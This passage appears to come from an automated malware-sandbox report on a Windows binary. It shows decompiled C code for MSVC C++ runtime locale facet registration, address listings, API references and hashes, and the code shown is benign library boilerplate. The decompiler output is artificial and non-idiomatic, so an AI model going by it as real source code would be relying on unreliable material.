																																																												goto L131;
																																																											}
																																																										}
																																																									} else {
																																																										_t819 = _v16;
																																																										_v16 = _t819;
																																																										_v4 = 1;
																																																										E0048919D(_t819);
																																																										 *0x4f02b4();
																																																										 *((intOrPtr*)( *((intOrPtr*)( *_t819 + 4))))();
																																																										 *0x4eddd8 = _t819;
																																																										goto L124;
																																																									}
																																																								} else {
																																																									_t819 = _t842;
																																																									goto L124;
																																																								}
																																																							}
																																																						} else {
																																																							_t818 = _v16;
																																																							_v16 = _t818;
																																																							_v4 = 1;
																																																							E0048919D(_t818);
																																																							 *0x4f02b4();
																																																							 *((intOrPtr*)( *((intOrPtr*)( *_t818 + 4))))();
																																																							 *0x4ede08 = _t818;
																																																							goto L117;
																																																						}
																																																					} else {
																																																						_t818 = _t841;
																																																						goto L117;
																																																					}
																																																				}
																																																			} else {
																																																				_t817 = _v16;
																																																				_v16 = _t817;
																																																				_v4 = 1;
																																																				E0048919D(_t817);
																																																				 *0x4f02b4();
																																																				 *((intOrPtr*)( *((intOrPtr*)( *_t817 + 4))))();
																																																				 *0x4eddd4 = _t817;
																																																				goto L110;
																																																			}
																																																		} else {
																																																			_t817 = _t840;
																																																			goto L110;
																																																		}
																																																	}
																																																} else {
																																																	_t816 = _v16;
																																																	_v16 = _t816;
																																																	_v4 = 1;
																																																	E0048919D(_t816);
																																																	 *0x4f02b4();
																																																	 *((intOrPtr*)( *((intOrPtr*)( *_t816 + 4))))();
																																																	 *0x4ede04 = _t816;
																																																	goto L103;
																																																}
																																															} else {
																																																_t816 = _t839;
																																																goto L103;
																																															}
																																														}
																																													} else {
																																														_t815 = _v16;
																																														_v16 = _t815;
																																														_v4 = 1;
																																														E0048919D(_t815);
																																														 *0x4f02b4();
																																														 *((intOrPtr*)( *((intOrPtr*)( *_t815 + 4))))();
																																														 *0x4eddd0 = _t815;
																																														goto L96;
																																													}
																																												} else {
																																													_t815 = _t838;
																																													goto L96;
																																												}
																																											}
																																										} else {
																																											_t814 = _v16;
																																											_v16 = _t814;
																																											_v4 = 1;
																																											E0048919D(_t814);
																																											 *0x4f02b4();
																																											 *((intOrPtr*)( *((intOrPtr*)( *_t814 + 4))))();
																																											 *0x4ede00 = _t814;
																																											goto L89;
																																										}
																																									} else {
																																										_t814 = _t837;
																																										goto L89;
																																									}
																																								}
																																							} else {
																																								_t813 = _v16;
																																								_v16 = _t813;
																																								_v4 = 1;
																																								E0048919D(_t813);
																																								 *0x4f02b4();
																																								 *((intOrPtr*)( *((intOrPtr*)( *_t813 + 4))))();
																																								 *0x4eddec = _t813;
																																								goto L82;
																																							}
																																						} else {
																																							_t813 = _t836;
																																							goto L82;
																																						}
																																					}
																																				} else {
																																					_t812 = _v16;
																																					_v16 = _t812;
																																					_v4 = 1;
																																					E0048919D(_t812);
																																					 *0x4f02b4();
																																					 *((intOrPtr*)( *((intOrPtr*)( *_t812 + 4))))();
																																					 *0x4eddf0 = _t812;
																																					goto L75;
																																				}
																																			} else {
																																				_t812 = _t835;
																																				goto L75;
																																			}
																																		}
																																	} else {
																																		_t811 = _v16;
																																		_v16 = _t811;
																																		_v4 = 1;
																																		E0048919D(_t811);
																																		 *0x4f02b4();
																																		 *((intOrPtr*)( *((intOrPtr*)( *_t811 + 4))))();
																																		 *0x4ede1c = _t811;
																																		goto L68;
																																	}
																																} else {
																																	_t811 = _t834;
																																	goto L68;
																																}
																															}
																														} else {
																															_t810 = _v16;
																															_v16 = _t810;
																															_v4 = 1;
																															E0048919D(_t810);
																															 *0x4f02b4();
																															 *((intOrPtr*)( *((intOrPtr*)( *_t810 + 4))))();
																															 *0x4ede20 = _t810;
																															goto L61;
																														}
																													} else {
																														_t810 = _t833;
																														goto L61;
																													}
																												}
																											} else {
																												_t809 = _v16;
																												_v16 = _t809;
																												_v4 = 1;
																												E0048919D(_t809);
																												 *0x4f02b4();
																												 *((intOrPtr*)( *((intOrPtr*)( *_t809 + 4))))();
																												 *0x4edde8 = _t809;
																												goto L54;
																											}
																										} else {
																											_t809 = _t832;
																											goto L54;
																										}
																									}
																								} else {
																									_t808 = _v16;
																									_v16 = _t808;
																									_v4 = 1;
																									E0048919D(_t808);
																									 *0x4f02b4();
																									 *((intOrPtr*)( *((intOrPtr*)( *_t808 + 4))))();
																									 *0x4ede18 = _t808;
																									goto L47;
																								}
																							} else {
																								_t808 = _t831;
																								goto L47;
																							}
																						}
																					} else {
																						_t807 = _v16;
																						_v16 = _t807;
																						_v4 = 1;
																						E0048919D(_t807);
																						 *0x4f02b4();
																						 *((intOrPtr*)( *((intOrPtr*)( *_t807 + 4))))();
																						 *0x4edde4 = _t807;
																						goto L40;
																					}
																				} else {
																					_t807 = _t830;
																					goto L40;
																				}
																			}
																		} else {
																			_t806 = _v16;
																			_v16 = _t806;
																			_v4 = 1;
																			E0048919D(_t806);
																			 *0x4f02b4();
																			 *((intOrPtr*)( *((intOrPtr*)( *_t806 + 4))))();
																			 *0x4ede14 = _t806;
																			goto L33;
																		}
																	} else {
																		_t806 = _t829;
																		goto L33;
																	}
																}
															} else {
																_t805 = _v16;
																_v16 = _t805;
																_v4 = 1;
																E0048919D(_t805);
																 *0x4f02b4();
																 *((intOrPtr*)( *((intOrPtr*)( *_t805 + 4))))();
																 *0x4edde0 = _t805;
																goto L26;
															}
														} else {
															_t805 = _t828;
															goto L26;
														}
													}
												} else {
													_t804 = _v16;
													_v16 = _t804;
													_v4 = 1;
													E0048919D(_t804);
													 *0x4f02b4();
													 *((intOrPtr*)( *((intOrPtr*)( *_t804 + 4))))();
													 *0x4ede10 = _t804;
													goto L19;
												}
											} else {
												_t804 = _t827;
												goto L19;
											}
										}
									} else {
										_t803 = _v16;
										_v16 = _t803;
										_v4 = 1;
										E0048919D(_t803);
										 *0x4f02b4();
										 *((intOrPtr*)( *((intOrPtr*)( *_t803 + 4))))();
										 *0x4eddfc = _t803;
										goto L12;
									}
								} else {
									_t803 = _t826;
									goto L12;
								}
							}
						} else {
							_t802 = _v16;
							_v16 = _t802;
							_v4 = 1;
							E0048919D(_t802);
							 *0x4f02b4();
							 *((intOrPtr*)( *((intOrPtr*)( *_t802 + 4))))();
							 *0x4edddc = _t802;
							goto L5;
						}
					} else {
						_t802 = _t825;
						goto L5;
					}
				}
			}

0x0048c392
0x0048c399
0x0048c3a3
0x0048c3a8
0x0048c3b3
0x0048c3b7
0x0048c3c3
0x0048c3c8
0x0048c3cc
0x0048c411
0x0048c414
0x0048c420
0x0048c3ce
0x0048c3d0
0x0048c3d6
0x0048c3dc
0x0048c3e4
0x0048c3e7
0x0048c421
0x0048c426
0x0048c427
0x0048c42e
0x0048c438
0x0048c43d
0x0048c448
0x0048c44c
0x0048c45d
0x0048c45f
0x0048c461
0x0048c4a6
0x0048c4a9
0x0048c4b5
0x0048c463
0x0048c463
0x0048c465
0x0048c46b
0x0048c471
0x0048c479
0x0048c47c
0x0048c4b6
0x0048c4bb
0x0048c4bc
0x0048c4c3
0x0048c4cd
0x0048c4d2
0x0048c4dd
0x0048c4e1
0x0048c4f2
0x0048c4f4
0x0048c4f6
0x0048c53b
0x0048c53e
0x0048c54a
0x0048c4f8
0x0048c4f8
0x0048c4fa
0x0048c500
0x0048c506
0x0048c50e
0x0048c511
0x0048c54b
0x0048c550
0x0048c551
0x0048c558
0x0048c562
0x0048c567
0x0048c572
0x0048c576
0x0048c587
0x0048c589
0x0048c58b
0x0048c5d0
0x0048c5d3
0x0048c5df
0x0048c58d
0x0048c58d
0x0048c58f
0x0048c595
0x0048c59b
0x0048c5a3
0x0048c5a6
0x0048c5e0
0x0048c5e5
0x0048c5e6
0x0048c5ed
0x0048c5f7
0x0048c5fc
0x0048c607
0x0048c60b
0x0048c61c
0x0048c61e
0x0048c620
0x0048c665
0x0048c668
0x0048c674
0x0048c622
0x0048c622
0x0048c624
0x0048c62a
0x0048c630
0x0048c638
0x0048c63b
0x0048c675
0x0048c67a
0x0048c67b
0x0048c682
0x0048c68c
0x0048c691
0x0048c69c
0x0048c6a0
0x0048c6b1
0x0048c6b3
0x0048c6b5
0x0048c6fa
0x0048c6fd
0x0048c709
0x0048c6b7
0x0048c6b7
0x0048c6b9
0x0048c6bf
0x0048c6c5
0x0048c6cd
0x0048c6d0
0x0048c70a
0x0048c70f
0x0048c710
0x0048c717
0x0048c721
0x0048c726
0x0048c731
0x0048c735
0x0048c746
0x0048c748
0x0048c74a
0x0048c78f
0x0048c792
0x0048c79e
0x0048c74c
0x0048c74c
0x0048c74e
0x0048c754
0x0048c75a
0x0048c762
0x0048c765
0x0048c79f
0x0048c7a4
0x0048c7a5
0x0048c7ac
0x0048c7b6
0x0048c7bb
0x0048c7c6
0x0048c7ca
0x0048c7db
0x0048c7dd
0x0048c7df
0x0048c824
0x0048c827
0x0048c833
0x0048c7e1
0x0048c7e1
0x0048c7e3
0x0048c7e9
0x0048c7ef
0x0048c7f7
0x0048c7fa
0x0048c834
0x0048c839
0x0048c83a
0x0048c841
0x0048c84b
0x0048c850
0x0048c85b
0x0048c85f
0x0048c870
0x0048c872
0x0048c874
0x0048c8b9
0x0048c8bc
0x0048c8c8
0x0048c876
0x0048c876
0x0048c878
0x0048c87e
0x0048c884
0x0048c88c
0x0048c88f
0x0048c8c9
0x0048c8ce
0x0048c8cf
0x0048c8d6
0x0048c8e0
0x0048c8e5
0x0048c8f0
0x0048c8f4
0x0048c905
0x0048c907
0x0048c909
0x0048c94e
0x0048c951
0x0048c95d
0x0048c90b
0x0048c90b
0x0048c90d
0x0048c913
0x0048c919
0x0048c921
0x0048c924
0x0048c95e
0x0048c963
0x0048c964
0x0048c96b
0x0048c975
0x0048c97a
0x0048c985
0x0048c989
0x0048c99a
0x0048c99c
0x0048c99e
0x0048c9e3
0x0048c9e6
0x0048c9f2
0x0048c9a0
0x0048c9a0
0x0048c9a2
0x0048c9a8
0x0048c9ae
0x0048c9b6
0x0048c9b9
0x0048c9f3
0x0048c9f8
0x0048c9f9
0x0048ca00
0x0048ca0a
0x0048ca0f
0x0048ca1a
0x0048ca1e
0x0048ca2f
0x0048ca31
0x0048ca33
0x0048ca78
0x0048ca7b
0x0048ca87
0x0048ca35
0x0048ca35
0x0048ca37
0x0048ca3d
0x0048ca43
0x0048ca4b
0x0048ca4e
0x0048ca88
0x0048ca8d
0x0048ca8e
0x0048ca95
0x0048ca9f
0x0048caa4
0x0048caaf
0x0048cab3
0x0048cac4
0x0048cac6
0x0048cac8
0x0048cb0d
0x0048cb10
0x0048cb1c
0x0048caca
0x0048caca
0x0048cacc
0x0048cad2
0x0048cad8
0x0048cae0
0x0048cae3
0x0048cb1d
0x0048cb22
0x0048cb23
0x0048cb2a
0x0048cb34
0x0048cb39
0x0048cb44
0x0048cb48
0x0048cb59
0x0048cb5b
0x0048cb5d
0x0048cba2
0x0048cba5
0x0048cbb1
0x0048cb5f
0x0048cb5f
0x0048cb61
0x0048cb67
0x0048cb6d
0x0048cb75
0x0048cb78
0x0048cbb2
0x0048cbb7
0x0048cbb8
0x0048cbbf
0x0048cbc9
0x0048cbce
0x0048cbd9
0x0048cbdd
0x0048cbee
0x0048cbf0
0x0048cbf2
0x0048cc37
0x0048cc3a
0x0048cc46
0x0048cbf4
0x0048cbf4
0x0048cbf6
0x0048cbfc
0x0048cc02
0x0048cc0a
0x0048cc0d
0x0048cc47
0x0048cc4c
0x0048cc4d
0x0048cc54
0x0048cc5e
0x0048cc63
0x0048cc6e
0x0048cc72
0x0048cc83
0x0048cc85
0x0048cc87
0x0048cccc
0x0048cccf
0x0048ccdb
0x0048cc89
0x0048cc89
0x0048cc8b
0x0048cc91
0x0048cc97
0x0048cc9f
0x0048cca2
0x0048ccdc
0x0048cce1
0x0048cce2
0x0048cce9
0x0048ccf3
0x0048ccf8
0x0048cd03
0x0048cd07
0x0048cd18
0x0048cd1a
0x0048cd1c
0x0048cd61
0x0048cd64
0x0048cd70
0x0048cd1e
0x0048cd1e
0x0048cd20
0x0048cd26
0x0048cd2c
0x0048cd34
0x0048cd37
0x0048cd71
0x0048cd76
0x0048cd77
0x0048cd7e
0x0048cd88
0x0048cd8d
0x0048cd98
0x0048cd9c
0x0048cdad
0x0048cdaf
0x0048cdb1
0x0048cdf6
0x0048cdf9
0x0048ce05
0x0048cdb3
0x0048cdb3
0x0048cdb5
0x0048cdbb
0x0048cdc1
0x0048cdc9
0x0048cdcc
0x0048ce06
0x0048ce0b
0x0048ce0c
0x0048ce13
0x0048ce1d
0x0048ce22
0x0048ce2d
0x0048ce31
0x0048ce42
0x0048ce44
0x0048ce46
0x0048ce8b
0x0048ce8e
0x0048ce9a
0x0048ce48
0x0048ce48
0x0048ce4a
0x0048ce50
0x0048ce56
0x0048ce5e
0x0048ce61
0x0048ce9b
0x0048cea0
0x0048cea1
0x0048cea8
0x0048ceb2
0x0048ceb7
0x0048cec2
0x0048cec6
0x0048ced7
0x0048ced9
0x0048cedb
0x0048cf20
0x0048cf23
0x0048cf2f
0x0048cedd
0x0048cedd
0x0048cedf
0x0048cee5
0x0048ceeb
0x0048cef3
0x0048cef6
0x0048cf30
0x0048cf35
0x0048cf36
0x0048cf3d
0x0048cf47
0x0048cf4c
0x0048cf57
0x0048cf5b
0x0048cf6c
0x0048cf6e
0x0048cf70
0x0048cfb5
0x0048cfb8
0x0048cfc4
0x0048cf72
0x0048cf72
0x0048cf74
0x0048cf7a
0x0048cf80
0x0048cf88
0x0048cf8b
0x0048cfc5
0x0048cfca
0x0048cfcb
0x0048cfd2
0x0048cfdc
0x0048cfe1
0x0048cfec
0x0048cff0
0x0048d001
0x0048d003
0x0048d005
0x0048d04a
0x0048d04d
0x0048d059
0x0048d007
0x0048d007
0x0048d009
0x0048d00f
0x0048d015
0x0048d016
0x0048d01c
0x0048d01d
0x0048d020
0x0048d05a
0x0048d05f
0x0048d063
0x0048d067
0x0048d06b
0x0048d06b
0x0048d06b
0x0048d06f
0x0048d076
0x0048d079
0x0048d082
0x0048d022
0x0048d022
0x0048d025
0x0048d029
0x0048d02d
0x0048d03a
0x0048d042
0x0048d044
0x00000000
0x0048d044
0x0048d00b
0x0048d00b
0x00000000
0x0048d00b
0x0048d009
0x0048cf8d
0x0048cf8d
0x0048cf90
0x0048cf94
0x0048cf98
0x0048cfa5
0x0048cfad
0x0048cfaf
0x00000000
0x0048cfaf
0x0048cf76
0x0048cf76
0x00000000
0x0048cf76
0x0048cf74
0x0048cef8
0x0048cef8
0x0048cefb
0x0048ceff
0x0048cf03
0x0048cf10
0x0048cf18
0x0048cf1a
0x00000000
0x0048cf1a
0x0048cee1
0x0048cee1
0x00000000
0x0048cee1
0x0048cedf
0x0048ce63
0x0048ce63
0x0048ce66
0x0048ce6a
0x0048ce6e
0x0048ce7b
0x0048ce83
0x0048ce85
0x00000000
0x0048ce85
0x0048ce4c
0x0048ce4c
0x00000000
0x0048ce4c
0x0048ce4a
0x0048cdce
0x0048cdce
0x0048cdd1
0x0048cdd5
0x0048cdd9
0x0048cde6
0x0048cdee
0x0048cdf0
0x00000000
0x0048cdf0
0x0048cdb7
0x0048cdb7
0x00000000
0x0048cdb7
0x0048cdb5
0x0048cd39
0x0048cd39
0x0048cd3c
0x0048cd40
0x0048cd44
0x0048cd51
0x0048cd59
0x0048cd5b
0x00000000
0x0048cd5b
0x0048cd22
0x0048cd22
0x00000000
0x0048cd22
0x0048cd20
0x0048cca4
0x0048cca4
0x0048cca7
0x0048ccab
0x0048ccaf
0x0048ccbc
0x0048ccc4
0x0048ccc6
0x00000000
0x0048ccc6
0x0048cc8d
0x0048cc8d
0x00000000
0x0048cc8d
0x0048cc8b
0x0048cc0f
0x0048cc0f
0x0048cc12
0x0048cc16
0x0048cc1a
0x0048cc27
0x0048cc2f
0x0048cc31
0x00000000
0x0048cc31
0x0048cbf8
0x0048cbf8
0x00000000
0x0048cbf8
0x0048cbf6
0x0048cb7a
0x0048cb7a
0x0048cb7d
0x0048cb81
0x0048cb85
0x0048cb92
0x0048cb9a
0x0048cb9c
0x00000000
0x0048cb9c
0x0048cb63
0x0048cb63
0x00000000
0x0048cb63
0x0048cb61
0x0048cae5
0x0048cae5
0x0048cae8
0x0048caec
0x0048caf0
0x0048cafd
0x0048cb05
0x0048cb07
0x00000000
0x0048cb07
0x0048cace
0x0048cace
0x00000000
0x0048cace
0x0048cacc
0x0048ca50
0x0048ca50
0x0048ca53
0x0048ca57
0x0048ca5b
0x0048ca68
0x0048ca70
0x0048ca72
0x00000000
0x0048ca72
0x0048ca39
0x0048ca39
0x00000000
0x0048ca39
0x0048ca37
0x0048c9bb
0x0048c9bb
0x0048c9be
0x0048c9c2
0x0048c9c6
0x0048c9d3
0x0048c9db
0x0048c9dd
0x00000000
0x0048c9dd
0x0048c9a4
0x0048c9a4
0x00000000
0x0048c9a4
0x0048c9a2
0x0048c926
0x0048c926
0x0048c929
0x0048c92d
0x0048c931
0x0048c93e
0x0048c946
0x0048c948
0x00000000
0x0048c948
0x0048c90f
0x0048c90f
0x00000000
0x0048c90f
0x0048c90d
0x0048c891
0x0048c891
0x0048c894
0x0048c898
0x0048c89c
0x0048c8a9
0x0048c8b1
0x0048c8b3
0x00000000
0x0048c8b3
0x0048c87a
0x0048c87a
0x00000000
0x0048c87a
0x0048c878
0x0048c7fc
0x0048c7fc
0x0048c7ff
0x0048c803
0x0048c807
0x0048c814
0x0048c81c
0x0048c81e
0x00000000
0x0048c81e
0x0048c7e5
0x0048c7e5
0x00000000
0x0048c7e5
0x0048c7e3
0x0048c767
0x0048c767
0x0048c76a
0x0048c76e
0x0048c772
0x0048c77f
0x0048c787
0x0048c789
0x00000000
0x0048c789
0x0048c750
0x0048c750
0x00000000
0x0048c750
0x0048c74e
0x0048c6d2
0x0048c6d2
0x0048c6d5
0x0048c6d9
0x0048c6dd
0x0048c6ea
0x0048c6f2
0x0048c6f4
0x00000000
0x0048c6f4
0x0048c6bb
0x0048c6bb
0x00000000
0x0048c6bb
0x0048c6b9
0x0048c63d
0x0048c63d
0x0048c640
0x0048c644
0x0048c648
0x0048c655
0x0048c65d
0x0048c65f
0x00000000
0x0048c65f
0x0048c626
0x0048c626
0x00000000
0x0048c626
0x0048c624
0x0048c5a8
0x0048c5a8
0x0048c5ab
0x0048c5af
0x0048c5b3
0x0048c5c0
0x0048c5c8
0x0048c5ca
0x00000000
0x0048c5ca
0x0048c591
0x0048c591
0x00000000
0x0048c591
0x0048c58f
0x0048c513
0x0048c513
0x0048c516
0x0048c51a
0x0048c51e
0x0048c52b
0x0048c533
0x0048c535
0x00000000
0x0048c535
0x0048c4fc
0x0048c4fc
0x00000000
0x0048c4fc
0x0048c4fa
0x0048c47e
0x0048c47e
0x0048c481
0x0048c485
0x0048c489
0x0048c496
0x0048c49e
0x0048c4a0
0x00000000
0x0048c4a0
0x0048c467
0x0048c467
0x00000000
0x0048c467
0x0048c465
0x0048c3e9
0x0048c3e9
0x0048c3ec
0x0048c3f0
0x0048c3f4
0x0048c401
0x0048c409
0x0048c40b
0x00000000
0x0048c40b
0x0048c3d2
0x0048c3d2
0x00000000
0x0048c3d2
0x0048c3d0

APIs

__EH_prolog3.LIBCMT ref: 0048C399
std::_Lockit::_Lockit.LIBCPMT ref: 0048C3A3

Part of subcall function 0042B22E: __EH_prolog3_GS.LIBCMT ref: 0042B235
Part of subcall function 0042B22E: std::_Lockit::_Lockit.LIBCPMT ref: 0042B246
Part of subcall function 0042B22E: std::_Lockit::~_Lockit.LIBCPMT ref: 0042B268

collate.LIBCPMT ref: 0048C3DD
std::_Facet_Register.LIBCPMT ref: 0048C3F4
std::_Lockit::~_Lockit.LIBCPMT ref: 0048C414
Concurrency::cancel_current_task.LIBCPMT ref: 0048C421

Memory Dump Source

Source File: 00000008.00000002.924005679.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3H_prolog3_Registercollate
String ID:
API String ID: 573010341-0
Opcode ID: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction ID: 00870072261c423a6edadfb462aac9a5278ee703ea957f486b9ff1465d2d4d7e
Opcode Fuzzy Hash: 78c74b463a8d9d377448b36629b9684b765f7e652d2abdbdec0817c85c5587c9
Instruction Fuzzy Hash: 8A01C035D001298BCB05FBA5D8A5ABE7771AF84714F14485FE812AB382CF7C9E018B99

Uniqueness

Uniqueness Score: -1.00%

Function 0048C427, Relevance: 9.0, APIs: 6, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E0048C427(intOrPtr _a8) {
				signed int _v4;
				signed int _v16;
				char _v20;
				void* _v248;
				signed int _t261;
				void* _t486;
				short* _t700;
				void* _t764;
				signed int _t766;
				signed int _t767;
				signed int _t768;
				signed int _t769;
				signed int _t770;
				signed int _t771;
				signed int _t772;
				signed int _t773;
				signed int _t774;
				signed int _t775;
				signed int _t776;
				signed int _t777;
				signed int _t778;
				signed int _t779;
				signed int _t780;
				signed int _t781;
				signed int _t782;
				signed int _t783;
				signed int _t784;
				signed int _t785;
				void* _t786;
				signed int _t787;
				signed int _t788;
				signed int _t789;
				signed int _t790;
				signed int _t791;
				signed int _t792;
				signed int _t793;
				signed int _t794;
				signed int _t795;
				signed int _t796;
				signed int _t797;
				signed int _t798;
				signed int _t799;
				signed int _t800;
				signed int _t801;
				signed int _t802;
				signed int _t803;
				signed int _t804;
				signed int _t805;
				signed int _t806;
				signed int _t807;
				short* _t808;
				void* _t834;
				void* _t835;

				_push(8);
				E0049D90B(0x4d6966, _t764, _t786);
				E00488DEA( &_v20, 0);
				_t787 =  *0x4eddfc; // 0x0
				_v4 = _v4 & 0x00000000;
				_v16 = _t787;
				_t261 = E0042B315(_a8, E0042B22E(0x4ed910, _t764, _t787, _t835));
				_t765 = _t261;
				if(_t261 != 0) {
					L5:
					E00488E42( &_v20);
					return E0049D8D4(_t765);
				} else {
					if(_t787 == 0) {
						_push(_a8);
						_push( &_v16);
						__eflags = E0048DF75(_t765, _t787, __eflags) - 0xffffffff;
						if(__eflags == 0) {
							E0042B042(__eflags);
							asm("int3");
							_push(8);
							E0049D90B(0x4d6966, _t765, _t787);
							E00488DEA( &_v20, 0);
							_t788 =  *0x4ede10; // 0x0
							_v4 = _v4 & 0x00000000;
							_v16 = _t788;
							_t766 = E0042B315(_a8, E0042B22E(0x4eddb4, _t765, _t788, __eflags));
							__eflags = _t766;
							if(_t766 != 0) {
								L12:
								E00488E42( &_v20);
								return E0049D8D4(_t766);
							} else {
								__eflags = _t788;
								if(__eflags == 0) {
									_push(_a8);
									_push( &_v16);
									__eflags = E0048DFE5(_t766, _t788, __eflags) - 0xffffffff;
									if(__eflags == 0) {
										E0042B042(__eflags);
										asm("int3");
										_push(8);
										E0049D90B(0x4d6966, _t766, _t788);
										E00488DEA( &_v20, 0);
										_t789 =  *0x4edde0; // 0x0
										_v4 = _v4 & 0x00000000;
										_v16 = _t789;
										_t767 = E0042B315(_a8, E0042B22E(0x4edd8c, _t766, _t789, __eflags));
										__eflags = _t767;
										if(_t767 != 0) {
											L19:
											E00488E42( &_v20);
											return E0049D8D4(_t767);
										} else {
											__eflags = _t789;
											if(__eflags == 0) {
												_push(_a8);
												_push( &_v16);
												__eflags = E0048E04D(_t767, _t789, __eflags) - 0xffffffff;
												if(__eflags == 0) {
													E0042B042(__eflags);
													asm("int3");
													_push(8);
													E0049D90B(0x4d6966, _t767, _t789);
													E00488DEA( &_v20, 0);
													_t790 =  *0x4ede14; // 0x0
													_v4 = _v4 & 0x00000000;
													_v16 = _t790;
													_t768 = E0042B315(_a8, E0042B22E(0x4eddb8, _t767, _t790, __eflags));
													__eflags = _t768;
													if(_t768 != 0) {
														L26:
														E00488E42( &_v20);
														return E0049D8D4(_t768);
													} else {
														__eflags = _t790;
														if(__eflags == 0) {
															_push(_a8);
															_push( &_v16);
															__eflags = E0048E0B5(_t768, _t790, __eflags) - 0xffffffff;
															if(__eflags == 0) {
																E0042B042(__eflags);
																asm("int3");
																_push(8);
																E0049D90B(0x4d6966, _t768, _t790);
																E00488DEA( &_v20, 0);
																_t791 =  *0x4edde4; // 0x0
																_v4 = _v4 & 0x00000000;
																_v16 = _t791;
																_t769 = E0042B315(_a8, E0042B22E(0x4edd90, _t768, _t791, __eflags));
																__eflags = _t769;
																if(_t769 != 0) {
																	L33:
																	E00488E42( &_v20);
																	return E0049D8D4(_t769);
																} else {
																	__eflags = _t791;
																	if(__eflags == 0) {
																		_push(_a8);
																		_push( &_v16);
																		__eflags = E0048E11D(_t769, _t791, __eflags) - 0xffffffff;
																		if(__eflags == 0) {
																			E0042B042(__eflags);
																			asm("int3");
																			_push(8);
																			E0049D90B(0x4d6966, _t769, _t791);
																			E00488DEA( &_v20, 0);
																			_t792 =  *0x4ede18; // 0x0
																			_v4 = _v4 & 0x00000000;
																			_v16 = _t792;
																			_t770 = E0042B315(_a8, E0042B22E(0x4eddbc, _t769, _t792, __eflags));
																			__eflags = _t770;
																			if(_t770 != 0) {
																				L40:
																				E00488E42( &_v20);
																				return E0049D8D4(_t770);
																			} else {
																				__eflags = _t792;
																				if(__eflags == 0) {
																					_push(_a8);
																					_push( &_v16);
																					__eflags = E0048E185(_t770, _t792, __eflags) - 0xffffffff;
																					if(__eflags == 0) {
																						E0042B042(__eflags);
																						asm("int3");
																						_push(8);
																						E0049D90B(0x4d6966, _t770, _t792);
																						E00488DEA( &_v20, 0);
																						_t793 =  *0x4edde8; // 0x0
																						_v4 = _v4 & 0x00000000;
																						_v16 = _t793;
																						_t771 = E0042B315(_a8, E0042B22E(0x4edd94, _t770, _t793, __eflags));
																						__eflags = _t771;
																						if(_t771 != 0) {
																							L47:
																							E00488E42( &_v20);
																							return E0049D8D4(_t771);
																						} else {
																							__eflags = _t793;
																							if(__eflags == 0) {
																								_push(_a8);
																								_push( &_v16);
																								__eflags = E0048E1ED(_t771, _t793, __eflags) - 0xffffffff;
																								if(__eflags == 0) {
																									E0042B042(__eflags);
																									asm("int3");
																									_push(8);
																									E0049D90B(0x4d6966, _t771, _t793);
																									E00488DEA( &_v20, 0);
																									_t794 =  *0x4ede20; // 0x0
																									_v4 = _v4 & 0x00000000;
																									_v16 = _t794;
																									_t772 = E0042B315(_a8, E0042B22E(0x4eddc4, _t771, _t794, __eflags));
																									__eflags = _t772;
																									if(_t772 != 0) {
																										L54:
																										E00488E42( &_v20);
																										return E0049D8D4(_t772);
																									} else {
																										__eflags = _t794;
																										if(__eflags == 0) {
																											_push(_a8);
																											_push( &_v16);
																											__eflags = E0048E255(_t772, _t794, __eflags) - 0xffffffff;
																											if(__eflags == 0) {
																												E0042B042(__eflags);
																												asm("int3");
																												_push(8);
																												E0049D90B(0x4d6966, _t772, _t794);
																												E00488DEA( &_v20, 0);
																												_t795 =  *0x4ede1c; // 0x0
																												_v4 = _v4 & 0x00000000;
																												_v16 = _t795;
																												_t773 = E0042B315(_a8, E0042B22E(0x4eddc0, _t772, _t795, __eflags));
																												__eflags = _t773;
																												if(_t773 != 0) {
																													L61:
																													E00488E42( &_v20);
																													return E0049D8D4(_t773);
																												} else {
																													__eflags = _t795;
																													if(__eflags == 0) {
																														_push(_a8);
																														_push( &_v16);
																														__eflags = E0048E2D9(_t773, _t795, __eflags) - 0xffffffff;
																														if(__eflags == 0) {
																															E0042B042(__eflags);
																															asm("int3");
																															_push(8);
																															E0049D90B(0x4d6966, _t773, _t795);
																															E00488DEA( &_v20, 0);
																															_t796 =  *0x4eddf0; // 0x0
																															_v4 = _v4 & 0x00000000;
																															_v16 = _t796;
																															_t774 = E0042B315(_a8, E0042B22E(0x4edd9c, _t773, _t796, __eflags));
																															__eflags = _t774;
																															if(_t774 != 0) {
																																L68:
																																E00488E42( &_v20);
																																return E0049D8D4(_t774);
																															} else {
																																__eflags = _t796;
																																if(__eflags == 0) {
																																	_push(_a8);
																																	_push( &_v16);
																																	__eflags = E0048E35E(_t774, _t796, __eflags) - 0xffffffff;
																																	if(__eflags == 0) {
																																		E0042B042(__eflags);
																																		asm("int3");
																																		_push(8);
																																		E0049D90B(0x4d6966, _t774, _t796);
																																		E00488DEA( &_v20, 0);
																																		_t797 =  *0x4eddec; // 0x0
																																		_v4 = _v4 & 0x00000000;
																																		_v16 = _t797;
																																		_t775 = E0042B315(_a8, E0042B22E(0x4edd98, _t774, _t797, __eflags));
																																		__eflags = _t775;
																																		if(_t775 != 0) {
																																			L75:
																																			E00488E42( &_v20);
																																			return E0049D8D4(_t775);
																																		} else {
																																			__eflags = _t797;
																																			if(__eflags == 0) {
																																				_push(_a8);
																																				_push( &_v16);
																																				__eflags = E0048E3E2(_t775, _t797, __eflags) - 0xffffffff;
																																				if(__eflags == 0) {
																																					E0042B042(__eflags);
																																					asm("int3");
																																					_push(8);
																																					E0049D90B(0x4d6966, _t775, _t797);
																																					E00488DEA( &_v20, 0);
																																					_t798 =  *0x4ede00; // 0x0
																																					_v4 = _v4 & 0x00000000;
																																					_v16 = _t798;
																																					_t776 = E0042B315(_a8, E0042B22E(0x4edda4, _t775, _t798, __eflags));
																																					__eflags = _t776;
																																					if(_t776 != 0) {
																																						L82:
																																						E00488E42( &_v20);
																																						return E0049D8D4(_t776);
																																					} else {
																																						__eflags = _t798;
																																						if(__eflags == 0) {
																																							_push(_a8);
																																							_push( &_v16);
																																							__eflags = E0048E467(_t776, _t798, __eflags) - 0xffffffff;
																																							if(__eflags == 0) {
																																								E0042B042(__eflags);
																																								asm("int3");
																																								_push(8);
																																								E0049D90B(0x4d6966, _t776, _t798);
																																								E00488DEA( &_v20, 0);
																																								_t799 =  *0x4eddd0; // 0x0
																																								_v4 = _v4 & 0x00000000;
																																								_v16 = _t799;
